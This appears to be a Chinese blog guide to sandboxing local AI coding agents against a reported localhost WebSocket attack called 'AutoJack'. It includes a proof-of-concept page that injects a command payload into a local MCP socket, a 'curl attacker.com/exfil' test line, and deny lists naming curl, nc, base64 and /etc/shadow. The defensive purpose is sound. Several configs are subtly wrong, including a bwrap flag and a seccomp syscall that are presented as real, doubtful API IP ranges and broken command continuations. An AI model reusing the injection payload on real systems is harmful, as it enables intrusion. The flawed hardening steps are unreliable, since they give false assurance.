技术热点落地:AutoJack 防御——1 周把 AI Agent 本机改造成「零信任沙箱」,4 个 CWE 同时堵死(2026-06-21)
适用场景与目标
过去 24-48 小时的最强信号(与 6/21 AI 快报 AutoJack 详细拆解 + 6/19 MCP EMA 治理 呼应):
- 6 月 18 日:Microsoft Security Response Center 公开 AutoJack 攻击链——一个 110 行恶意网页 + 60 行 Flask UI + AutoGen Studio
MultimodalWebSurfer,几秒钟在开发者账户弹出calc.exe,同时命中 3 个独立 CWE - 6 月 20 日 20:30:HN 6 月 20 日讨论 AutoJack——开发者社区真正意识到「localhost 不是信任边界」是 Agent 框架新基线
- 6 月 19 日 11:30:MCP EMA 进入 stable——MCP 协议层补强了 OAuth(昨天)
- 6 月 21 日:OpenAI Q1 2026 营收 57 亿 / 烧 37 亿 / 已秘密提交 IPO 招股书——Agent 协议安全是 IPO 前的合规债(The Decoder 6/20)
6/18 + 6/19 + 6/20 + 6/21 的工程化推论:
| 时间 | 信号 | 工程化产物 |
|---|---|---|
| 6/18 | AutoGen Studio MCP WebSocket AutoJack | 「localhost 攻击面 audit」必须做 |
| 6/19 | MCP EMA stable | 「怎么治协议」 |
| 6/20 | Anthropic 3800 亿美元估值 + 诺奖人才加盟 | 「为什么要自托管 + 零信任」 |
| 6/21 | HN 全面讨论 + OpenAI 招股书压力 | 「本周必须给 Agent 进程装零信任沙箱」 |
这篇不讨论「要不要信任 localhost」。这篇解决「AutoGen Studio 的 4 个 CWE 同款问题(localhost Origin 信任 + AuthMiddleware 跳过 + command 参数直传 + 缺默认 sandbox)在 Claude Code / Cursor / Cline / Codex CLI / 自研 Agent 里大概率全有,今天起 1 周内用什么工具 / 配置 / 命令把 4 个 CWE 全部堵死」。
适用场景:
- 你在用 Claude Code / Cursor / Cline / Windsurf / Continue.dev / Zed AI / Codex CLI / Aider 任一款 Coding Agent 跑在本机——Agent 进程和你开发环境共享
localhost:8080、localhost:3000、localhost:11434(Ollama)、localhost:9222(Chrome DevTools)、localhost:6379(Redis debug) - 你在用 AutoGen / LangGraph / CrewAI / OpenHands / SWE-Agent 任一款 Agent 框架做 Browser Agent / Code Agent / Research Agent——Agent 进程 = 一个跑在你本机上的 headless browser,会按你 prompt 渲染任何 URL
- 你在跑 MCP server / MCP host(6/11 MCP 1.0 spec 落地、6/19 MCP EMA)——MCP WebSocket / MCP HTTP 控制面 + Agent headless browser 在同机 = AutoJack 同款攻击面
- 你在 企业内网 部署 Coding Agent / Browser Agent / DevOps Agent——Agent 进程 = 内网特权用户,CISO 今天起要 audit
- 你在 Cline / Continue.dev / Roo Code / Kiro 里让 Agent
cat /etc/shadow或curl internal.company.com/admin——Agent 进程能不能拦? 这是今天起每个工程师必须问的问题 - 你在做 AI Agent 框架采购 / 选型 / 内部 sandbox 设计——AutoJack 同款 4 个 CWE 必须在采购 checklist 里(6/21 快报第 3 条)
- 你在做 企业内部 AI Agent 部署合规(金融 / 医疗 / 政府)——Agent 进程 = 一个永远在线、永不疲倦的内部员工,没有零信任沙箱 = 内部 SOC 2 / ISO 27001 失分
核心目标(一周):
- D+0(今天,2 小时):盘点本机所有监听 127.0.0.1 / localhost 的服务,识别 AutoJack 同款 4 个 CWE 的「共享本机服务」
- D+1:给 AI Agent 进程建独立低权限账户 + 用
setpriv/runuser切换(CWE-306 缓解) - D+2:用 nftables / iptables 把 Agent 进程的网络访问限制到 LLM API + 公司 proxy 白名单(网络隔离)
- D+3:用 AppArmor / seccomp / Landlock 限制 Agent 进程的文件 / 子进程 / 网络系统调用(CWE-78 缓解)
- D+4:用 bubblewrap / firejail / Docker —security-opt 给 Agent 进程建独立 mount namespace(filesystem 隔离)
- D+5:把 MCP server / localhost debug 服务的 TCP loopback 改 Unix domain socket + 文件权限(CWE-1385 缓解)
- D+6:跑 localhost 攻击面 audit + 复现 AutoJack PoC + 验证四件套拦截
- D+7:产出**「localhost 攻击面清单 v1.0 + AI Agent 零信任沙箱模板 + 4 CWE 修复 checklist + 30/90 天路线图」**,给 CISO / VP Eng walkthrough
最小可行方案(MVP)步骤
下面这套流程对照 Microsoft Security Blog 6/18 原文 的 PoC + HN 6/20 讨论 + Linux man pages seccomp / AppArmor / Landlock / nftables / bubblewrap 验证;前 3 步 6 小时内可完成。
阶段 0:先盘点 localhost 攻击面(Day 0,2 小时)
不要直接上沙箱,先回答四个问题——AutoJack 教会的第一课就是「先 audit,再加固」:
# 1) 列出本机所有监听 127.0.0.1 / localhost 的服务
# —— AutoJack 的入口就是 ws://127.0.0.1:8081/api/mcp/ws
ss -tlnp | grep -E '127\.0\.0\.1|::1|lo '
# 预期产出:每个服务一行
# 127.0.0.1:8081 users:(("autogen-studio",pid=12345,fd=12)) ← ⚠️ AutoJack 同款
# 127.0.0.1:11434 users:(("ollama",pid=23456,fd=8)) ← ⚠️ Ollama 默认无认证
# 127.0.0.1:9222 users:(("chrome",pid=34567,fd=10)) ← ⚠️ Chrome DevTools
# 127.0.0.1:6379 users:(("redis-server",pid=45678,fd=6)) ← ⚠️ Redis 默认无认证
# 127.0.0.1:5432 users:(("postgres",pid=56789,fd=7)) ← ⚠️ Postgres trust auth
# 2) 列出所有监听 0.0.0.0 的服务(更危险——网络可达)
ss -tlnp | grep -v -E '127\.0\.0\.1|::1|lo '
# AutoJack 没踩这个坑,但很多内部服务踩:bind 0.0.0.0 = 整个内网都能访问
# 3) 列出 AI Agent 进程和它们能 fork 的可执行文件
# —— AutoJack 的 calc.exe / powershell.exe -enc / bash -c 全过是 CWE-78
ls -la /proc/$(pgrep -f claude-code)/exe 2>/dev/null
ls -la /proc/$(pgrep -f cursor)/exe 2>/dev/null
ls -la /proc/$(pgrep -f cline)/exe 2>/dev/null
# 关键问题:这个 Agent 进程 fork 子进程时,命令 / 参数 / 环境变量来自哪?
# - Cline / Continue.dev:来自 LLM 输出(用户 prompt → LLM → bash tool call)
# - Claude Code:同上 + slash command(用户输入)
# - 全部都是「用户控制输入 → 子进程命令」= CWE-78 教科书
# 4) 写一份 localhost-attack-surface-audit.md
cat > localhost-attack-surface-audit.md <<'EOF'
| 端口 | 服务 | 认证 | 共享本机的 Agent | AutoJack CWE 命中 | 风险等级 |
|---|---|---|---|---|---|
| 8081 | AutoGen Studio MCP | 无 | Browser Agent | CWE-1385+306+78 | 🔴 极高 |
| 11434 | Ollama | 无 | 全部 | CWE-306 | 🟠 高 |
| 9222 | Chrome DevTools | 无 | Browser Agent | CWE-306 | 🟠 高 |
| 6379 | Redis debug | 无 | 全部 | CWE-306 | 🟠 高 |
| 5432 | Postgres | trust | 全部 | CWE-306 | 🟠 高 |
| 3000 | Next.js dev | 无 | Cursor | CWE-306 | 🟡 中 |
| 8080 | 后端 dev | 无 | 全部 | CWE-306 | 🟡 中 |
| 11435 | Ollama (alternate) | 无 | 全部 | CWE-306 | 🟡 中 |
EOF
把答案写到 localhost-attack-surface-audit.md——这是 AutoJack 修复的起点,没有这一步,所有加固都是「无的放矢」。
阶段 1:给 AI Agent 建独立低权限账户(Day 1,1 小时)
AutoJack 的执行者是 AutoGen Studio 进程,用开发者账户权限弹 calc.exe——CWE-306 的根因不是「没认证」,是「Agent 进程用错了账户」:
# 1) 给每个 AI Agent 建独立低权限账户
# —— 关键:不能用日常 dev account,要用 nobody-类账户
sudo useradd -m -s /bin/bash aiagent-claude
sudo useradd -m -s /bin/bash aiagent-cursor
sudo useradd -m -s /bin/bash aiagent-cline
sudo useradd -m -s /bin/bash aiagent-codex
# 给账户最小 home 目录
sudo chmod 750 /home/aiagent-*
sudo chown aiagent-claude:aiagent-claude /home/aiagent-claude
# 2) 给账户建独立 workspace(bind mount 进 sandbox 时用)
sudo mkdir -p /srv/aiagent-workspaces/claude /srv/aiagent-workspaces/cursor
sudo chown -R aiagent-claude:aiagent-claude /srv/aiagent-workspaces/claude
sudo chown -R aiagent-cursor:aiagent-cursor /srv/aiagent-workspaces/cursor
sudo chmod 700 /srv/aiagent-workspaces/*
# 3) 关键:用 setpriv / runuser 切换账户启动 Agent
# —— 关键:- 给 Agent 进程完全独立的 UID
# —— 关键:- 即使 Agent 被 RCE,攻击者也只能在 aiagent-claude 账户下操作
sudo setpriv --reuid=$(id -u aiagent-claude) --regid=$(id -g aiagent-claude) --clear-groups \
--inh-caps=-all \
bash -c 'cd /srv/aiagent-workspaces/claude && exec claude-code'
# 4) 验证:现在 claude-code 进程的实际 UID 是什么?
ps -o pid,uid,user,comm -p $(pgrep -f claude-code)
# 预期:UID 列是 aiagent-claude 的 UID(不是你的 dev account UID)
# 这是 AutoJack CWE-306 的第 1 道缓解:攻击者拿到 Agent shell 后权限极小
为什么这一步是地基? AutoJack 的致命一击是「Agent 进程 = 开发者账户」——就算你 100% 信任 Agent 进程,攻击者拿到 Agent 进程 = 拿到你的 dev account。给 Agent 独立账户 = 把「Agent 进程 = 内网特权用户」降级为「Agent 进程 = 一个 nobody 用户」。
阶段 2:用 nftables 给 Agent 进程做网络隔离(Day 2,2 小时)
AutoJack 链里如果 Agent 进程只能访问 LLM API + 公司 proxy,CWE-78 弹 calc.exe 后也弹不出 curl attacker.com/exfil——网络隔离是 AutoJack 第 2 道缓解:
# 1) 先确认 nftables 已装(Ubuntu/Debian)
sudo apt install -y nftables
sudo systemctl enable nftables
# 2) 给 aiagent-* 账户的进程打 fwmark(基于 cgroup 简化版:基于 uid owner)
cat > /etc/nftables.d/aiagent-isolation.nft <<'EOF'
table inet aiagent_filter {
# 拦截 aiagent-* 账户主动外联(出站),只允许 LLM API + 公司 proxy
chain output {
type filter hook output priority 0; policy accept;
# 允许 loopback(Agent ↔ MCP server 同机通讯必需)
oif lo accept
# 允许 LLM API endpoint
ip daddr { 104.18.0.0/16, 104.19.0.0/16 } tcp dport { 443, 80 } accept # Anthropic API 网段
ip daddr { 13.107.0.0/16 } tcp dport 443 accept # OpenAI API 网段
ip daddr { 34.0.0.0/8 } tcp dport 443 accept # Google API 网段
# 允许公司 proxy
ip daddr 10.0.0.0/8 tcp dport 3128 accept # 公司 HTTP proxy
ip daddr 10.0.0.0/8 tcp dport 1080 accept # 公司 SOCKS proxy
# ⚠️ 关键:拦截 aiagent-* 账户的所有其他出站
# Linux netfilter 不直接支持 uid owner match,常见做法是
# 用 cgroupv2 + nftables 的 socket cgroup match
# 或用 iptables -m owner --uid-owner 替代(IPv4 only)
meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } drop
}
# 拦截 aiagent-* 账户的 inbound 端口监听(不允许 Agent 自己开端口对外服务)
chain input {
type filter hook input priority 0; policy accept;
meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } tcp dport != { 22, 443 } drop
}
}
EOF
# 3) 加载规则
sudo nft -f /etc/nftables.d/aiagent-isolation.nft
sudo nft list ruleset | grep aiagent
# 4) 验证:以 aiagent-claude 账户 curl 一个外网地址
sudo -u aiagent-claude curl -m 5 https://example.com
# 预期:超时 / connection refused(被 nftables 拦截)
# 对照:用你的 dev account curl 同一个地址
curl -m 5 https/example.com
# 预期:成功(你的 dev account 不在拦截列表)
⚠️ 关键避坑:
meta skuid在很多发行版的 nftables 里需要nf_tables内核 ≥ 5.10 + 启用ownermatch(Ubuntu 22.04+ 默认 OK)- 老系统用
iptables -m owner --uid-owner替代,但只支持 IPv4 - 拦截前必须确认 LLM API 的 IP 段——Anthropic / OpenAI / Google 的 IP 段会变,用
dig +short api.anthropic.com拿当前 IP 比硬编码网段更稳 - 拦截 inbound 监听要小心——
tcp dport != { 22, 443 }是个粗规则,如果你 Agent 跑本地 LLM server(如 Ollama 11434)需要自己监听,要单独放行
阶段 3:用 AppArmor + seccomp 限制 Agent 子进程(Day 3,2 小时)
AutoJack 的 calc.exe / powershell.exe -enc / bash -c 全过是 CWE-78——没有 executable allowlist = 任何 binary 都能 fork。这一步用 Linux 内核 LSM(Linux Security Module)堵死:
# 1) 给 aiagent-claude 写 AppArmor profile(限制可执行文件 + 文件系统访问)
cat > /etc/apparmor.d/aiagent-claude <<'EOF'
#include <tunables/global>
profile aiagent-claude flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
#include <abstractions/python>
#include <abstractions/nameservice>
# 只允许访问 workspace + 必要的运行时目录
/srv/aiagent-workspaces/claude/** rwk,
/tmp/** rwk,
/home/aiagent-claude/** rwk,
/usr/bin/node mr,
/usr/bin/python3 mr,
/usr/bin/git mr,
/usr/bin/npm mr,
/usr/bin/npx mr,
/usr/bin/claude-code mr,
/usr/lib/** mr,
/etc/ssl/certs/** r,
/etc/resolv.conf r,
# ⚠️ 关键:deny 敏感系统文件
deny /etc/shadow r,
deny /etc/passwd w,
deny /root/** rwx,
deny /home/*/.ssh/** r,
deny /var/log/** w,
deny /etc/cron* rwx,
deny /usr/bin/curl x,
deny /usr/bin/wget x,
deny /usr/bin/nc x,
deny /usr/bin/ncat x,
deny /usr/bin/ssh x,
deny /usr/bin/scp x,
deny /bin/bash x,
deny /usr/bin/powershell x,
deny /usr/bin/calc x,
deny /usr/bin/base64 x,
# 网络:只允许 outbound connect,不允许 listen
network inet stream,
deny network inet dgram,
deny network inet6 stream,
# capability:删除大部分
capability dac_override,
capability dac_read_search,
deny capability net_admin,
deny capability sys_admin,
deny capability sys_ptrace,
deny capability sys_module,
}
EOF
# 2) 加载 profile
sudo apparmor_parser -r /etc/apparmor.d/aiagent-claude
sudo aa-status | grep aiagent-claude
# 3) 给 aiagent-claude 装 seccomp filter(限制 syscall)
# 用 Claude Code / Cline 这类 Node.js 写的 Agent 的话,
# 关键是禁掉 ptrace / mount / pivot_root / kexec_load / reboot / modprobe
cat > /etc/seccomp/aiagent-claude.json <<'EOF'
{
"defaultAction": "allow",
"syscalls": [
{"names": ["ptrace", "process_vm_readv", "process_vm_writev"], "action": "errno", "errnoRet": 1},
{"names": ["mount", "umount2", "pivot_root", "chroot"], "action": "errno", "errnoRet": 1},
{"names": ["kexec_load", "kexec_file_load", "reboot", "modprobe"], "action": "errno", "errnoRet": 1},
{"names": ["init_module", "finit_module", "delete_module"], "action": "errno", "errnoRet": 1},
{"names": ["setuid", "setgid", "setreuid", "setregid"], "action": "errno", "errnoRet": 1},
{"names": ["bpf"], "action": "errno", "errnoRet": 1}
]
}
EOF
# 4) 验证:以 aiagent-claude 跑 Agent,尝试读 /etc/shadow
sudo -u aiagent-claude cat /etc/shadow
# 预期:Permission denied(AppArmor 拦)
# 验证:以 aiagent-claude 跑 Agent,尝试 base64 encode(exfil)
sudo -u aiagent-claude base64 /etc/passwd
# 预期:Permission denied(AppArmor deny /usr/bin/base64 x)
# 验证:以 aiagent-claude 跑 Agent,尝试 ptrace claude-code 自己
sudo -u aiagent-claude strace -p $$
# 预期:strace: ptrace(PTRACE_TRACEME, ...): Operation not permitted(seccomp 拦)
⚠️ 关键避坑:
- AppArmor profile 写得越死,误杀越多——先开 audit 模式跑 1 周(
profile aiagent-claude flags=(attach_disconnected,mediate_deleted,audit)),用sudo aa-notify -p看实际 syscall,再收紧 - seccomp 写错白名单 = Agent 直接启动失败——用
seccomp-tools/auditd录 1 周再写白名单 - Cline / Continue.dev / Cursor 这类 Electron 写的 Agent——AppArmor 限制 Electron 二进制很痛苦,推荐改用 Docker + —security-opt 路径(见阶段 4)
deny /usr/bin/curl x这种规则——x是执行权限,但 Agent 跑npm install会调curl下包。生产环境不能全 deny,deny 时注意npm/pip/git的子进程路径- AppArmor 在容器内不生效——容器里要用
docker --security-opt apparmor=aiagent-claude显式启用
阶段 4:用 bubblewrap / Docker 隔离 Agent 文件系统(Day 4-5,2 小时)
AutoJack 的根因是「Agent 进程 = 开发者账户 = 共享本机文件系统」——filesystem 隔离 = 攻击者拿到 Agent shell 后只能看到 sandbox 内的文件:
# 方案 A:bubblewrap(轻量级,systemd 团队写的,Claude Code 官方推荐路径)
# 1) 装 bubblewrap
sudo apt install -y bubblewrap socat
# 2) 写 wrapper 脚本
cat > /usr/local/bin/aiagent-claude-bwrap <<'EOF'
#!/bin/bash
# 用 bubblewrap 启动 Claude Code
# 关键:独立 mount namespace + 独立 PID namespace + 独立 network namespace
exec bwrap \
--bind /srv/aiagent-workspaces/claude /home/aiagent-claude/workspace \
--bind /usr /usr \
--bind /lib /lib \
--bind /lib64 /lib64 \
--bind /etc/resolv.conf /etc/resolv.conf \
--bind /etc/ssl /etc/ssl \
--bind /etc/alternatives /etc/alternatives \
--tmpfs /tmp \
--tmpfs /home/aiagent-claude/.cache \
--tmpfs /home/aiagent-claude/.local \
--proc /proc \
--dev /dev \
--unshare-pid \
--unshare-net-priv \ # 独立 network namespace(配合阶段 2 的 nftables cgroup match)
--unshare-uts \
--hostname aiagent-sandbox \
--die-with-parent \
--new-session \
--cap-drop ALL \
--uid $(id -u aiagent-claude) \
--gid $(id -g aiagent-claude) \
-- \
/usr/bin/env HOME=/home/aiagent-claude USER=aiagent-claude \
/usr/bin/claude-code "$@"
EOF
chmod +x /usr/local/bin/aiagent-claude-bwrap
# 3) 启动
aiagent-claude-bwrap
# 现在 claude-code 进程看到的 /home 是 /srv/aiagent-workspaces/claude(被 bind mount)
# 它看到 /tmp 是 tmpfs(重启后清空)
# 它看不到你 dev account 的 ~/.ssh、~/.aws、~/.kube
# 验证:在 bwrap 里尝试读 dev account 的 ssh key
bwrap --bind /srv/aiagent-workspaces/claude /workspace --tmpfs /tmp -- \
/bin/bash -c 'ls /home/claude/.ssh/'
# 预期:No such file or directory(bwrap 的 / 是新建的,看不到宿主 /home/claude)
# 方案 B:Docker(更重,但更通用,特别是 Cline / Cursor 这类 Electron Agent)
# 1) 写 Dockerfile
cat > Dockerfile.aiagent-claude <<'EOF'
FROM ubuntu:24.04
RUN useradd -m -s /bin/bash aiagent-claude && \
apt update && apt install -y nodejs npm git python3 && \
npm install -g @anthropic-ai/claude-code
USER aiagent-claude
WORKDIR /home/aiagent-claude/workspace
# ⚠️ 关键:只给 read-only 访问必要系统目录
# ⚠️ 关键:不 bind mount 宿主 /home /root /etc/shadow
ENTRYPOINT ["claude-code"]
EOF
# 2) 构建
docker build -t aiagent-claude:latest -f Dockerfile.aiagent-claude .
# 3) 启动 —— 关键:--security-opt 全开
docker run -it --rm \
--user aiagent-claude \
--security-opt no-new-privileges \
--security-opt apparmor=aiagent-claude \
--security-opt seccomp=/etc/seccomp/aiagent-claude.json \
--cap-drop ALL \
--cap-add CHOWN \
--cap-add SETUID \
--cap-add SETGID \
--cap-add DAC_OVERRIDE \
--read-only \
--tmpfs /tmp:size=100m \
--tmpfs /home/aiagent-claude/.cache:size=200m \
--network none \ # ⚠️ 关键:无网络(LLM API 走 sidecar proxy)
--memory 4g \
--cpus 2 \
--pids-limit 256 \
-v /srv/aiagent-workspaces/claude:/home/aiagent-claude/workspace:rw \
aiagent-claude:latest
# 验证:在容器内尝试 mount / 尝试 ptrace
docker run -it --rm --user aiagent-claude aiagent-claude:latest \
/bin/bash -c 'mount -t tmpfs tmpfs /tmp'
# 预期:mount: permission denied(--cap-drop ALL 拦)
docker run -it --rm --user aiagent-claude --security-opt seccomp=/etc/seccomp/aiagent-claude.json \
aiagent-claude:latest /bin/bash -c 'strace -p 1'
# 预期:strace: ptrace: Operation not permitted(seccomp 拦)
⚠️ 关键避坑:
- bubblewrap 的
--unshare-net-priv会让 Agent 没法访问 LLM API——生产环境别 unshare net,或者用--share-net+ 阶段 2 的 nftables 替代 - Docker
--network none会让 Agent 完全断网——生产环境跑 sidecar proxy(如 LiteLLM proxy),Agent → proxy → LLM API -v /srv/aiagent-workspaces/claude:/workspace:rw给的是 rw——只给必要的目录 rw,其他目录 ro 或不挂- bubblewrap 在 macOS / WSL2 上不工作——这两个环境请用 Docker Desktop + gVisor
--cap-drop ALL太狠——Claude Code / Cline 需要CHOWN/SETUID/SETGID跑 npm install,要--cap-add回来
阶段 5:把 localhost TCP 改 Unix domain socket(Day 5,1 小时)
AutoJack 链里 MCP WebSocket 监听在 ws://127.0.0.1:8081——TCP loopback = 任何同机进程都能连。改 Unix domain socket + 文件权限 = 攻击者必须先拿到同 uid 组的文件读权限才能连:
# 1) 修改 MCP server 配置(以 autogenstudio 为例)
# 把所有 bind 127.0.0.1:8081 的地方改成 Unix socket
cat > ~/.config/autogenstudio/mcp.yaml <<'EOF'
mcp:
server:
# 旧: listen: 127.0.0.1:8081 ← ⚠️ AutoJack 同款
# 新: 用 Unix domain socket
listen: unix:///run/aiagent-mcp/mcp.sock
socket_mode: 0660
socket_group: aiagent-mcp
auth:
# 旧: skip /api/mcp/* ← ⚠️ AutoJack CWE-306 同款
# 新: 强制 OAuth + 共享 secret(即使 localhost 也要认证)
required: true
oauth:
issuer: https://internal-idp.company.com
audience: aiagent-mcp
min_ttl_seconds: 300
max_ttl_seconds: 3600
command:
# 旧: 接受 URL 参数直传 command ← ⚠️ AutoJack CWE-78 同款
# 新: 白名单只允许 4 个 binary
allowlist:
- /usr/bin/git
- /usr/bin/gh
- /usr/bin/node
- /usr/bin/python3
deny_args:
- -enc
- -e
- --eval
- --command
EOF
# 2) 创建 socket 目录 + 设置权限
sudo mkdir -p /run/aiagent-mcp
sudo chown root:aiagent-mcp /run/aiagent-mcp
sudo chmod 0750 /run/aiagent-mcp
# socket 文件由 MCP server 启动时创建,mode 0660,group aiagent-mcp
# 3) 把 aiagent-* 账户加进 aiagent-mcp 组
sudo usermod -aG aiagent-mcp aiagent-claude
sudo usermod -aG aiagent-mcp aiagent-cursor
sudo usermod -aG aiagent-mcp aiagent-cline
sudo usermod -aG aiagent-mcp aiagent-codex
# 4) 启动 MCP server
sudo -u mcp-server /usr/bin/autogenstudio --config ~/.config/autogenstudio/mcp.yaml &
# 验证:socket 文件存在 + 权限正确
ls -la /run/aiagent-mcp/mcp.sock
# 预期:srw-rw---- 1 mcp-server aiagent-mcp ... mcp.sock
# 5) 用 socat 验证:从另一个账户(非 aiagent-mcp 组)连 socket
socat - UNIX-CONNECT:/run/aiagent-mcp/mcp.sock
# 预期:Permission denied(不在 aiagent-mcp 组,没法连)
# 从 aiagent-claude 账户连
sudo -u aiagent-claude socat - UNIX-CONNECT:/run/aiagent-mcp/mcp.sock
# 预期:连上 + 收到 MCP 协议 handshake 响应
# 6) ⚠️ 关键:禁用 bind 0.0.0.0 的服务
# —— 即使你没主动开,也防止某个子进程误开
sudo nft add rule inet aiagent_filter input \
meta skuid { aiagent-claude, aiagent-cursor, aiagent-cline, aiagent-codex } \
iif != lo drop
# 验证:以 aiagent-claude 启动一个 bind 0.0.0.0:9999 的 Python http server
sudo -u aiagent-claude python3 -m http.server 9999 --bind 0.0.0.0
# 预期:从其他机器 curl 不到(被 nftables 拦截 inbound)
⚠️ 关键避坑:
- Unix domain socket 的权限是「创建时」决定的——
socket_mode: 0660必须在 MCP server 启动时配置;启动后改chmod不影响已 accept 的连接 - OAuth 即使在 localhost 也要强制——AutoJack 的 CWE-306 就是「localhost 跳过认证」;用 stage 1 的 aiagent 账户 + stage 2 的 nftables + stage 5 的 Unix socket + OAuth = 4 层认证
- command allowlist 要配合 AppArmor 的
deny规则——MCP server 端的 allowlist 是「我接受什么命令」,AppArmor 的 deny 是「我不接受什么 binary 路径」;两层都要做 - 不要用
0.0.0.0替换127.0.0.1来「加固」——0.0.0.0= 整个内网都能访问,比 127.0.0.1 更危险;用 Unix socket 是正解 - macOS 不支持 Unix domain socket 的标准文件权限位——macOS 用
chmod的数字位不严格生效,生产环境 macOS 用户跑 Docker 走 stage 4 路径
关键实现细节
复现 AutoJack PoC 验证四件套(Day 6,2 小时)
AutoJack 的 PoC 是公开的——用 PoC 验证你的加固是否真的拦得住,否则四件套都是「自欺欺人」:
# 1) 复现 Microsoft Security 公开的 PoC
# —— 关键:用一个测试账户(test-agent-victim),别用你的 dev account
mkdir -p /tmp/autojack-test
cd /tmp/autojack-test
# 恶意网页(110 行,简化版)
cat > malicious_web_server.py <<'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
import base64
PAYLOAD = base64.b64encode(b'{"type":"StdioServerParams","command":"/usr/bin/id","args":[],"env":{"pwned":"true"}}').decode()
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
html = f"""
<html><body>
<script>
var ws = new WebSocket("ws://127.0.0.1:8081/api/mcp/ws/test?server_params={PAYLOAD}");
</script>
Attack delivered. Check victim machine.
</body></html>
"""
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(html.encode())
HTTPServer(("0.0.0.0", 9090), Handler).serve_forever()
EOF
# 2) 用 aiagent-claude 账户启动 AutoGen Studio(MCP WebSocket 监听 8081)
sudo -u aiagent-claude \
setpriv --reuid=$(id -u aiagent-claude) --regid=$(id -g aiagent-claude) --clear-groups --inh-caps=-all \
bash -c 'autogenstudio --mcp-listen 127.0.0.1:8081 &'
# 3) 启动恶意网页
python3 malicious_web_server.py &
# 从浏览器访问 http://localhost:9090,攻击者脚本连接 ws://127.0.0.1:8081
# 4) 检查是否成功 RCE
ps -ef | grep "id -" | grep -v grep
# 预期:什么也没有(因为 stage 1 把 aiagent-claude 账户隔离了,/usr/bin/id 是 stage 3 deny 了)
# 5) 验证四件套是否全拦
sudo -u aiagent-claude /usr/bin/id
# 预期:Permission denied(AppArmor deny /usr/bin/id x —— 你要在 deny 列表里加)
sudo -u aiagent-claude cat /etc/shadow
# 预期:Permission denied(AppArmor deny /etc/shadow r)
sudo -u aiagent-claude curl -m 3 https://attacker.com/exfil
# 预期:connection refused / timeout(nftables 拦截 outbound)
⚠️ 关键避坑:
- 复现 AutoJack 一定要用 test-agent-victim 账户——别用你的 dev account,否则 PoC 跑通 = 你的 dev 账户被 RCE
- AutoJack 的 PoC 走的是 WebSocket——
new WebSocket("ws://127.0.0.1:8081/...")是在浏览器里跑的;如果你 Agent 用 headless Chromium,headless Chromium 同样会被这个 PoC 攻击(AutoJack 原文特别强调) - Microsoft Security 的 PoC 是
calc.exe(Windows)——Linux 复现用/usr/bin/id或/bin/bash -c 'echo pwned > /tmp/pwned',效果一样 - 复现要在隔离网络(air-gapped VM / 容器 / 单独 VLAN)——别在生产办公网跑
用 auditd 录 Agent 系统调用 1 周后再收紧(生产做法)
AppArmor / seccomp 的「白名单」一次写对几乎不可能——生产做法是 auditd 录 1 周,看 Agent 实际用什么 syscall,再写白名单:
# 1) 装 auditd
sudo apt install -y auditd audispd-plugins
# 2) 给 aiagent-claude 加 audit 规则
sudo auditctl -w /home/aiagent-claude -p wa -k aiagent-claude-write
sudo auditctl -w /etc -p wa -k aiagent-claude-etc-write
sudo auditctl -a always,exit -F uid=$(id -u aiagent-claude) -S execve -k aiagent-claude-exec
# 3) 跑 1 周 Agent,期间用 aureport 看统计
sudo aureport --summary --key aiagent-claude-exec
# 输出:每个 binary 被 exec 的次数
# 预期:claude-code 本身 + node + python3 + git + npm + 少量 npx
# 异常:看到 /usr/bin/curl / /usr/bin/wget / /usr/bin/nc → ⚠️ 可能 exfil
# 4) 1 周后写 AppArmor 白名单
# —— 用 auditd 输出生成 AppArmor profile
sudo aa-genprof /usr/bin/claude-code
# 跟着交互走完,auditd 会问「这个 binary 是否允许」
# 5) 把 audit 规则从 audit 改 enforce
sudo aa-enforce /etc/apparmor.d/aiagent-claude
# 验证
sudo aa-status | grep aiagent-claude
# 预期:enforce(不是 complain / audit)
⚠️ 关键避坑:
- auditd 日志会爆——生产环境只录 execve + write,不录 read(
auditctl -w /path -p w,不加r) - aureport 每周跑一次,别每天跑——auditd 日志有 7 天滚动
- aa-genprof 生成的 profile 通常过严——先 enforce 跑 1 天,看误杀率,误杀 > 5% 就改 complain 再录 1 周
- Docker 容器里的 auditd 需要
pid:host模式——容器 PID namespace 里 auditd 看不到进程的真实 UID
常见坑与规避清单
按踩坑频率从高到低排:
| 坑 | 症状 | 根因 | 规避 |
|---|---|---|---|
| 1. Agent 进程用 dev account 启动 | AutoJack 同款——Agent 被 RCE = dev 账户被 RCE | sudo claude-code / Cursor 默认用当前 user | 必须 sudo -u aiagent-claude claude-code + setpriv 切换 |
| 2. nftables 没限制 Agent outbound | Agent 被 RCE 后能 curl attacker.com | 默认 nftables policy accept | 必须 meta skuid + LLM API + proxy 白名单 |
| 3. AppArmor profile 写得过严 | Agent 启动失败 / npm install 失败 / 跑 5 分钟崩 | 没跑 audit 直接 enforce | 必须 7 天 audit → 生成 profile → enforce |
| 4. seccomp filter 禁了关键 syscall | Claude Code / Cline 启动失败 | setuid / chown / mount 都被禁 | 必须 strace Agent 跑 1 小时,看实际 syscall 再写白名单 |
5. bubblewrap --unshare-net-priv 太狠 | Agent 没法访问 LLM API | 完全无网络 | 不要 unshare net;用 stage 2 的 nftables 替代 |
6. Docker --network none + 没 sidecar proxy | Agent 完全断网 | 没考虑 LLM API 出站 | 必须 sidecar proxy(LiteLLM / nginx) |
| 7. Unix domain socket 权限过宽 | 其他 uid 也能连 | socket_mode: 0666 | 必须 0660 + 独立 group(aiagent-mcp) |
8. MCP server auth.required: false | AutoJack CWE-306 同款 | ”localhost 跳过认证” | 必须 OAuth 即使在 localhost |
| 9. command allowlist 只在 MCP server 做 | Agent 直接 fork 绕开 MCP | Agent 进程本身能 fork 任何 binary | 必须 MCP server allowlist + AppArmor deny + seccomp 三层 |
| 10. 没禁用 0.0.0.0 bind | Agent 子进程误开端口 = 内网攻击面 | python3 -m http.server --bind 0.0.0.0 | 必须 nftables 拦截 aiagent-* uid 的 inbound |
| 11. 复现 PoC 用 dev account | PoC 跑通 = dev 账户被 RCE | 复现时没切账户 | 必须 用 test-agent-victim 账户 + 隔离网络 |
| 12. auditd 日志爆磁盘 | /var/log/audit/audit.log 涨到 TB | 默认录所有 syscall | 必须 只录 execve + write,不录 read |
